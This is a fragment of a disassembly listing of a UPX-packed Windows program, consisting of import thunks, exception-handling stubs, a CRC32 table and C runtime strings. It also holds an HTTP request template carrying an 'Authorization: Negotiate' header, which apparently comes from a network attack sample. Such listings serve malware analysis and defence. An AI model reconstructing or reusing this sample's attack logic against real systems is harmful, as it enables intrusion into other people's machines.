sub_421F50 proc near ; CODE XREF: sub_404950+6Cp
jmp ds:dword_4231D4
sub_421F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_421F56 proc near ; CODE XREF: sub_403DED+5Ep
; sub_4053D6+159p
jmp ds:dword_423210
sub_421F56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_421F5C proc near ; CODE XREF: unknown_libname_2+23p
; __global_unwind2+13p
jmp ds:dword_423188
sub_421F5C endp
; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_422013: ; DATA XREF: UPX0:off_423CD0o
push esi
mov esi, ecx
call sub_4220B6
test byte ptr [esp+8], 1
jz short loc_422029
push esi
call ??3@YAXPAX@Z ; operator delete(void *)
pop ecx
loc_422029: ; CODE XREF: UPX0:00422020j
mov eax, esi
pop esi
retn 4
; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char const * const &). PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4220B6 proc near ; CODE XREF: sub_421CBA+16j
; UPX0:00422016p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_423CD0
jz short locret_4220CB
push dword ptr [ecx+4] ; Memory
call ??3@YAXPAX@Z ; operator delete(void *)
pop ecx
locret_4220CB: ; CODE XREF: sub_4220B6+Aj
retn
sub_4220B6 endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS KEYPAD "+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4225D8 proc near ; DATA XREF: UPX0:stru_423EB0o
; FUNCTION CHUNK AT 0040445D SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40445D
sub_4225D8 endp
; =============== S U B R O U T I N E =======================================
sub_4225E0 proc near ; DATA XREF: UPX0:stru_423EB0o
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_4225F6
mov ecx, [ebp+8]
jmp loc_40445D
; ---------------------------------------------------------------------------
locret_4225F6: ; CODE XREF: sub_4225E0+8j
retn
sub_4225E0 endp
; ---------------------------------------------------------------------------
loc_4225F7: ; DATA XREF: sub_404029o
mov eax, offset stru_423EB0
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
align 4
loc_422604: ; DATA XREF: UPX0:stru_423EE0o
lea ecx, [ebp+14h]
jmp loc_40445D
; ---------------------------------------------------------------------------
loc_42260C: ; DATA XREF: UPX0:stru_423EE0o
lea ecx, [ebp-1Ch]
jmp loc_40445D
; ---------------------------------------------------------------------------
loc_422614: ; DATA XREF: sub_4041CBo
mov eax, offset stru_423EE0
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
align 10h
loc_422620: ; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o
mov eax, offset stru_423F10
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
loc_42262A: ; DATA XREF: UPX0:stru_423F68o
mov ecx, [ebp-14h]
jmp sub_4220B6
; ---------------------------------------------------------------------------
loc_422632: ; DATA XREF: sub_421CFEo
mov eax, offset stru_423F70
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
loc_42263C: ; DATA XREF: UPX0:stru_424000o
lea ecx, [ebp-20h]
jmp loc_40445D
; ---------------------------------------------------------------------------
loc_422644: ; DATA XREF: sub_421D73o
mov eax, offset stru_424008
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
loc_42264E: ; DATA XREF: UPX0:stru_424024o
mov ecx, [ebp-14h]
jmp sub_4220B6
; ---------------------------------------------------------------------------
loc_422656: ; DATA XREF: sub_421DD0o
mov eax, offset stru_42402C
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
loc_422660: ; DATA XREF: UPX0:stru_424048o
mov ecx, [ebp-10h]
jmp sub_4220B6
; ---------------------------------------------------------------------------
loc_422668: ; DATA XREF: sub_421E18o
mov eax, offset stru_424050
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
loc_422672: ; DATA XREF: UPX0:stru_4240A8o
lea ecx, [ebp-20h]
jmp loc_40445D
; ---------------------------------------------------------------------------
loc_42267A: ; DATA XREF: sub_421E9Ao
mov eax, offset stru_4240B0
jmp ___CxxFrameHandler
; ---------------------------------------------------------------------------
dd 25Fh dup(0)
dword_423000 dd 0AA83C7h ; DATA XREF: sub_40AAF5+36r
dword_423004 dd 0AA8DC5h ; DATA XREF: sub_409204+10r
; sub_40938D+40r ...
dword_423008 dd 77E6BD68h ; DATA XREF: ___crtsetenv+173r
dword_42300C dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+3Er
; ___crtCompareStringA+261r
dword_423010 dd 77E762D0h ; DATA XREF: ___crtCompareStringA+5Br
; ___crtCompareStringA+B9r
dword_423014 dd 77E70192h ; DATA XREF: __chsize+F9r
dword_423018 dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_42301C dd 77E7339Ch ; DATA XREF: sub_41FE46+Cr
dword_423020 dd 77E7C9E7h ; DATA XREF: sub_41FE28+5r
; sub_41FE39+6r
dword_423024 dd 77E73FF9h ; DATA XREF: __commit+2Cr
dword_423028 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd:loc_41F305r
; __free_osfhnd:loc_41F37Fr
dword_42302C dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Fr
; ___crtGetStringTypeA+12Dr ...
dword_423030 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+59r
; ___crtGetStringTypeA+8Dr ...
dword_423034 dd 0AA8225h ; DATA XREF: __ioinit+FFr
; __ioinit+166r ...
dword_423038 dd 77E79C3Dh ; DATA XREF: __ioinit+158r
; __NMSG_WRITE+143r
dword_42303C dd 77E7C931h ; DATA XREF: __ioinit+19Dr
dword_423040 dd 0AA759Dh ; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_423044 dd 0AA754Bh ; DATA XREF: ___crtGetEnvironmentStringsA:loc_41EA2Fr
; ___crtGetEnvironmentStringsA+E1r
dword_423048 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_42304C dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_423050 dd 0AA76FDh ; DATA XREF: sub_401000+AAr
; sub_401447+95r ...
dword_423054 dd 77E7751Ah ; DATA XREF: sub_401000+27r
; sub_401447+1A6r ...
dword_423058 dd 77E802FCh ; DATA XREF: sub_4010B2+18Cr
; sub_4010B2+2D4r ...
dword_42305C dd 77E6D75Bh ; DATA XREF: sub_4010B2+182r
; sub_401A6D+FFr
dword_423060 dd 77E61BE6h ; DATA XREF: sub_4018CA+9Ar
; sub_40239E+5Dr ...
dword_423064 dd 77E704FCh ; DATA XREF: sub_4022BD+20r
; sub_40B8D3+183r ...
dword_423068 dd 77E70F89h ; DATA XREF: sub_4022BD+Er
; sub_40BF6F+Dr ...
dword_42306C dd 77E77CCEh ; DATA XREF: sub_4029E0+66r
; sub_402AC3+65r ...
dword_423070 dd 0AA7DB4h ; DATA XREF: sub_402DCE+135r
; sub_404950+1A9r ...
dword_423074 dd 0AA8195h ; DATA XREF: sub_402DCE+120r
; sub_402DCE+150r ...
dword_423078 dd 0AA7FF1h ; DATA XREF: sub_402DCE+103r
; sub_404862+94r ...
dword_42307C dd 77E73EACh ; DATA XREF: sub_402DCE+E9r
dword_423080 dd 0AA792Ah ; DATA XREF: sub_402DCE+68r
; sub_404950+A7r ...
dword_423084 dd 77E79D5Bh ; DATA XREF: sub_404950+4BCr
; sub_40E68B+68r ...
dword_423088 dd 77F5157Dh ; DATA XREF: sub_404950+4A3r
; sub_4060CD+282r ...
dword_42308C dd 77E737DEh ; DATA XREF: sub_404950+43Ar
dword_423090 dd 77E7A099h ; DATA XREF: sub_405A56+18r
; sub_407243+58r ...
dword_423094 dd 77E64106h ; DATA XREF: sub_405F4B+9Fr
; sub_40B8D3+1B6r
dword_423098 dd 77E64006h ; DATA XREF: sub_405F4B+8Br
; sub_40B8D3+19Fr
dword_42309C dd 0AA775Dh ; DATA XREF: sub_4060CD+24Dr
; sub_407243+10Er ...
dword_4230A0 dd 0AA80D8h ; DATA XREF: sub_4060CD+1EEr
; sub_4069FF+38r ...
dword_4230A4 dd 77E74CABh ; DATA XREF: sub_4060CD+110r
; sub_40AC3D+10Fr ...
dword_4230A8 dd 77E78EAAh ; DATA XREF: sub_40637D+5E8r
; sub_408EE0+C0r ...
dword_4230AC dd 77E79424h ; DATA XREF: sub_40637D+27Br
; sub_40938D+135r
dword_4230B0 dd 77E794BFh ; DATA XREF: sub_40637D+26Dr
; sub_40938D+123r
dword_4230B4 dd 77E75E67h ; DATA XREF: sub_40637D+20Dr
; sub_40637D+5D7r ...
dword_4230B8 dd 0AA8943h ; DATA XREF: sub_40637D+1FCr
; sub_408EE0+26r
dword_4230BC dd 0AA8021h ; DATA XREF: sub_4069FF+6Cr
; sub_40C514+259r ...
dword_4230C0 dd 77F7E300h ; DATA XREF: sub_407758+13Fr
dword_4230C4 dd 77F7E21Fh ; DATA XREF: sub_407758+D4r
dword_4230C8 dd 77E7C706h ; DATA XREF: sub_40796C+77r
dword_4230CC dd 77F53275h ; DATA XREF: sub_40796C+6Br
; sub_40796C+22Fr
dword_4230D0 dd 0AA73E5h ; DATA XREF: sub_409032+170r
dword_4230D4 dd 0AA74CBh ; DATA XREF: sub_409032+BCr
dword_4230D8 dd 0AA6865h ; DATA XREF: sub_409032+60r
; sub_40981A+11r ...
dword_4230DC dd 0AA7295h ; DATA XREF: sub_409032+5Ar
; sub_40981A+13Ar ...
dword_4230E0 dd 77F51597h ; DATA XREF: sub_409204+41r
; sub_409204+F5r ...
dword_4230E4 dd 77F516F8h ; DATA XREF: sub_409204+21r
; sub_40938D+4Ar ...
dword_4230E8 dd 77EB9A84h ; DATA XREF: __XcptFilter+138r
dword_4230EC dd 77E7F01Ah ; DATA XREF: sub_40938D+88r
; sub_409534+55r
dword_4230F0 dd 77E61A54h ; DATA XREF: sub_40938D+56r
; sub_409534+97r
dword_4230F4 dd 77E7C3A5h ; DATA XREF: sub_40938D+34r
; sub_409534+2Er
dword_4230F8 dd 77E706B7h ; DATA XREF: sub_40938D+15r
; sub_409534+13r ...
dword_4230FC dd 0AA8B1Bh ; DATA XREF: sub_40981A+2r
; sub_40AC3D+FBr ...
dword_423100 dd 0AA8E53h ; DATA XREF: sub_40AA30+2Dr
dword_423104 dd 0AA8A8Bh ; DATA XREF: sub_40AABA+26r
dword_423108 dd 0AA8ABBh ; DATA XREF: sub_40AABA+1Dr
dword_42310C dd 0AA8511h ; DATA XREF: sub_40AAF5+69r
dword_423110 dd 0AA76B2h ; DATA XREF: sub_415179+184r
; sub_415408+1Fr ...
dword_423114 dd 0AA8245h ; DATA XREF: sub_40AAF5+25r
dword_423118 dd 77E7011Ah ; DATA XREF: sub_40AB77+96r
dword_42311C dd 77E73CE2h ; DATA XREF: sub_40AB77+60r
dword_423120 dd 77E61BB8h ; DATA XREF: sub_40AC3D+17Er
; sub_40B567+F0r ...
dword_423124 dd 77E668D9h ; DATA XREF: sub_40AC3D+15Dr
dword_423128 dd 77E70396h ; DATA XREF: sub_40AC3D+126r
; sub_40E68B+1B2r ...
dword_42312C dd 77E6AD34h ; DATA XREF: sub_40AC3D+35r
; sub_40EE51+3E67r
dword_423130 dd 77E7FF65h ; DATA XREF: sub_40B412+5Ar
dword_423134 dd 77EB7624h ; DATA XREF: sub_40B412+3Dr
dword_423138 dd 0AA8125h ; DATA XREF: sub_40B567+91r
; sub_4167FC+77r
dword_42313C dd 77E79C90h ; DATA XREF: sub_40B567+79r
; sub_41510E+Cr ...
dword_423140 dd 77E7727Ah ; DATA XREF: sub_40B567+3Br
; sub_416703+23r
dword_423144 dd 77E7C657h ; DATA XREF: sub_40B785+1Dr
; sub_40B8D3+24r ...
dword_423148 dd 77E76C1Ah ; DATA XREF: sub_40B8D3+1CFr
dword_42314C dd 0AA75EFh ; DATA XREF: sub_40CAF1+478r
; sub_40D39C+DFr ...
dword_423150 dd 77E79924h ; DATA XREF: sub_40DBAE+13r
; ___crtLCMapStringA+20Dr ...
dword_423154 dd 77E65F4Ch ; DATA XREF: sub_40E5CD+34r
; UPX0:00415A59r
dword_423158 dd 77E73628h ; DATA XREF: sub_40E68B+326r
; sub_40EE51+4AB9r ...
dword_42315C dd 77E80656h ; DATA XREF: sub_40E68B+255r
dword_423160 dd 77E6BD13h ; DATA XREF: sub_40E68B:loc_40E843r
dword_423164 dd 77E7C2C4h ; DATA XREF: sub_40E68B+61r
dword_423168 dd 0AA770Ah ; DATA XREF: sub_40EE51+4D2Fr
; sub_4165B2+9Fr ...
dword_42316C dd 77E71AFEh ; DATA XREF: sub_40EE51+3C66r
dword_423170 dd 0AA8DBFh ; DATA XREF: _WinMainCRTStartup+26r
dword_423174 dd 77E76968h ; DATA XREF: sub_4156FD+5Fr
dword_423178 dd 77E7513Ch ; DATA XREF: UPX0:00415AF0r
dword_42317C dd 77E6C29Dh ; DATA XREF: sub_41629B+1EBr
dword_423180 dd 77E74C59h ; DATA XREF: sub_4165B2+C7r
dword_423184 dd 77EC7C51h ; DATA XREF: sub_416987+5Er
dword_423188 dd 77F6183Eh ; DATA XREF: sub_421F5Cr
dword_42318C dd 77E76E3Dh ; DATA XREF: _time+6Cr __tzset+38r
dword_423190 dd 77E61608h ; DATA XREF: _time+17r
dword_423194 dd 77F5722Fh ; DATA XREF: _realloc+F0r
; ___sbh_alloc_new_region+28r
dword_423198 dd 77E6177Ah ; DATA XREF: _WinMainCRTStartup+9Fr
; __ioinit+59r
dword_42319C dd 0AA8DCBh ; DATA XREF: _WinMainCRTStartup+74r
dword_4231A0 dd 77E6D706h ; DATA XREF: __raise_exc+215r
; _CxxThrowException(x,x)+2Er
dword_4231A4 dd 77E76E0Bh ; DATA XREF: __heap_init+2Fr
dword_4231A8 dd 77E7C726h ; DATA XREF: __heap_init+11r
dword_4231AC dd 77E79E34h ; DATA XREF: ___sbh_free_block+23Fr
dword_4231B0 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+76r
; ___sbh_alloc_new_group+51r
dword_4231B4 dd 77E73196h ; DATA XREF: sub_41FE62+Cr
dword_4231B8 dd 77F522F2h ; DATA XREF: __msize+21r
dword_4231BC dd 77E77405h ; DATA XREF: ___crtLCMapStringA+5Er
; ___crtLCMapStringA+A7r ...
dword_4231C0 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+42r
; ___crtLCMapStringA+14Dr ...
dword_4231C4 dd 77E7849Fh ; DATA XREF: __setmbcp+48r
; _setSBUpLow+14r ...
dword_4231C8 dd 0AA8DD1h ; DATA XREF: _getSystemCP+2Fr
dword_4231CC dd 77E6C703h ; DATA XREF: _getSystemCP+1Ar
dd 0
dword_4231D4 dd 71B2ACCBh ; DATA XREF: sub_421F50r
dd 0
dword_4231DC dd 71AB12F8h ; DATA XREF: sub_404E55+27r
; sub_404F9B+27r ...
dword_4231E0 dd 71AB1836h ; DATA XREF: sub_4059D9+6Er
; sub_405A56+8Er
dword_4231E4 dd 71AB41DAh ; DATA XREF: sub_4053D6+47r
; sub_4059D9+15r
dword_4231E8 dd 71AB3F8Dh ; DATA XREF: sub_4053D6+8Dr
dword_4231EC dd 71AB3ECEh ; DATA XREF: sub_4053D6+C4r
dword_4231F0 dd 71AB5DE2h ; DATA XREF: sub_4053D6+D8r
dword_4231F4 dd 71AB868Dh ; DATA XREF: sub_4053D6+180r
dword_4231F8 dd 71AB8629h ; DATA XREF: UPX0:004053C2r
dword_4231FC dd 71AB2BBFh ; DATA XREF: UPX0:0040528Fr
dword_423200 dd 71AB1746h ; DATA XREF: sub_404E55+36r
; sub_404F9B+36r ...
dword_423204 dd 71AB5690h ; DATA XREF: sub_404E55+6Ar
; sub_404F9B+6Ar ...
dword_423208 dd 71AB1AF4h ; DATA XREF: sub_403F8B+12r
; sub_404E55+C3r ...
dword_42320C dd 71AB1890h ; DATA XREF: sub_403DED+4Cr
; sub_4053D6+115r
dword_423210 dd 71AB1B7Bh ; DATA XREF: sub_421F56r
dword_423214 dd 71AB3C22h ; DATA XREF: sub_4018CA+59r
; UPX0:0040433Dr ...
dword_423218 dd 71AB155Ah ; DATA XREF: sub_4018CA+70r
; sub_4053D6+9Dr
dword_42321C dd 71AB3E5Dh ; DATA XREF: sub_4018CA+8Cr
; sub_404E55+59r ...
dword_423220 dd 71AB1A6Dh ; DATA XREF: sub_4018CA+AAr
; sub_404E55+E0r ...
align 8
; char aGetHttp1_0Host[]
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041CB+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_423268 dq 1.388888888888889e-2 ; DATA XREF: sub_403FDD+2Fr
dbl_423270 dq 1.666666666666667e-1 ; DATA XREF: sub_403FDD+15r
dword_423278 dd 0FFFFFFFFh ; DATA XREF: sub_404029+16Fr
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ...
align 10h
dbl_423280 dq 1.333333333333333 ; DATA XREF: sub_404029+79r
dword_423288 dd 0 ; DATA XREF: sub_4041CB+4Do
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+5Bo ...
flt_42328C dd 5.0e-1 ; DATA XREF: sub_404950+398r
dword_423290 dd 0 ; DATA XREF: sub_40C220+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dbl_423690 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr
; sub_40CAF1+2D8r ...
dbl_423698 dq -3.0517578125e-5 ; DATA XREF: sub_41543F+1Er
dbl_4236A0 dq 1.0 ; DATA XREF: _floor+6Cr _ceil+6Cr ...
dword_4236A8 dd 0FFFFFFFFh, 419AABh, 419ABFh ; DATA XREF: _WinMainCRTStartup+5o
byte_4236B4 db 6 ; DATA XREF: __output:loc_419C7Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: UPX0:off_43856Co
unicode 0, <(null)>,0
align 10h
aNull_2 db '(null)',0 ; DATA XREF: UPX0:off_438568o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: UPX0:off_438794o
align 10h
dbl_4237E0 dq 0.0 ; DATA XREF: __handle_exc+8Cr
; __handle_exc+ACr ...
dbl_4237E8 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_4237F0 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 10h
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o
align 4
dword_423828 dd 0FFFFFFFFh, 41C5DDh, 41C5E7h, 0 ; DATA XREF: ___FrameUnwindToState+5o
dword_423838 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
dd offset loc_41C763
align 8
dd offset sub_41C741
dd offset sub_41C74B
dd 0FFFFFFFFh, 41C993h, 41C997h, 0
; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dword_423860 dd 0FFFFFFFFh, 41C9F5h, 41C9FEh, 0 ; DATA XREF: unknown_libname_11+5o
dword_423870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CA7C+5o
dd offset loc_41CACD
align 10h
mov ecx, 0BD0041CAh
retf 41h
; ---------------------------------------------------------------------------
dword_423888 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CAD2+5o
dd offset loc_41CB23
align 8
bswap ebx
inc ecx
add [ebx], dl
retf
; ---------------------------------------------------------------------------
dw 41h
dword_4238A0 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+36o
; ___crtGetStringTypeA+39o ...
dword_4238A8 dd 0FFFFFFFFh, 41DD61h, 41DD65h, 0FFFFFFFFh, 41DE15h, 41DE19h
; DATA XREF: ___crtLCMapStringA+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: UPX0:off_438BDCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
align 10h
; char asc_423B70[]
asc_423B70 db 0Ah ; DATA XREF: __NMSG_WRITE+F1o
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
db 0Ah
db 'Program: ',0
align 10h
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
align 10h
